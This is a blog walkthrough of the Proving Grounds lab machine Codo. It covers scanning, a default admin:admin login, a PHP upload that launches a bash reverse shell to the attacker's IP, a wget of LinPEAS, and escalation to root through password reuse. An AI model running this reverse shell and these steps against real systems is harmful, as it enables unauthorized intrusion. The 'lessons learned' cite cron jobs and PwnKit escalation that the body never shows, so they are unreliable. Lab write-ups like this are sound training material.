Codo – OSCP Proving Grounds

In this walkthrough, I’ll document my full approach to Codo, an OSCP Proving Grounds box. This will cover initial enumeration, gaining a foothold, privilege escalation, and capturing the proof.txt flag.

Step 1: Reconnaissance & Enumeration

🔍 Nmap Scan

The first step was running an Nmap scan to discover open services:

nmap -sC -sV --open 192.168.204.23

📝 Nmap Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
  • Port 80: Running Apache 2.4.41
  • Port 22: Running OpenSSH 8.2p1

Since SSH typically requires credentials, I shifted focus to enumerating the web server on port 80.

Step 2: Web Enumeration

🔍 Gobuster Scan

I ran a Gobuster directory scan to find hidden files and directories:

gobuster dir -u http://192.168.204.23 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

📝 Gobuster Findings:

/admin (Status: 200)
/uploads (Status: 403)
/css (Status: 200)

The /admin page looked like an admin login panel.The /uploads directory returned 403 Forbidden, suggesting file uploads might be restricted.

Step 3: Gaining a Foothold

🔍 Admin Panel Login

Visiting http://192.168.204.23/admin, I found a login page.
I tried default credentials, and admin:admin worked!

Credentials Used: admin:admin

After logging in, I navigated through the admin dashboard and used Searchsploit for Codo, which brought up an arbitrary file upload vulnerability. I wasn’t able to get the script to work, but noticed it mentioned an alternative for manual uploading.

🔍 Exploiting File Upload

  • Browsing to the Global Settings, there was an upload functionality.
  • After uploading a script and hitting the resource page, the web sever fired off the uploaded php.
  • I used it to execute a reverse shell.

🔍 Reverse Shell Payload

I set up a listener on my Kali machine:

nc -lvnp 4444

Then, in the Codo Logo uploader, I injected the following reverse shell command:

bash -c 'bash -i >& /dev/tcp/192.168.50.155/4444 0>&1'

I received a shell as www-data on my netcat listener.

Foothold Established as: www-data

Enumeration for SUIDS:

find / -perm -4000 -type f 2>/dev/null

📝 Interesting Findings:

/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/su

pkexec caught my attention since it is known to be exploitable via PwnKit.


🔍 Checking pkexec Version

pkexec --version

📝 Output:

pkexec version 0.105

This version is vulnerable to CVE-2021-4034 (PwnKit), which allows root privilege escalation. Unfortunately, the machine did not have a native compiler, so I imported LinPEAS.

🔍 Running LinPEAS

To automate privilege escalation enumeration, I uploaded LinPEAS and executed it:

wget http://mykaliip/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinPEAS found hardcoded credentials for a user called offsec.

🔍 Switching Users

I attempted to switch into the offsec user:

su offsec

The password worked, but offsec had limited privileges.
Instead, I tried using the same password to switch to root.

Privilege Escalation Successful:

su root
whoami
root

Step 5: Capture the Flag 🎯

With root access, I searched for proof.txt:

find / -name proof.txt 2>/dev/null

Found in: /home/admin/proof.txt

cat /home/admin/proof.txt

Key Takeaways & Lessons Learned

✔️ Default Credentials Still Work – The admin panel used admin:admin, highlighting poor security practices.
✔️ Cron Jobs Are Dangerous – Allowing unrestricted cron execution is a major risk.
✔️ Privilege Escalation via PwnKitpkexec 0.105 was vulnerable to CVE-2021-4034, reinforcing the importance of patching Linux binaries.
✔️ Password Reuse is Common – The offsec user’s password also worked for root, showing the dangers of credential reuse.

Leave a Reply

Your email address will not be published. Required fields are marked *

Back To Top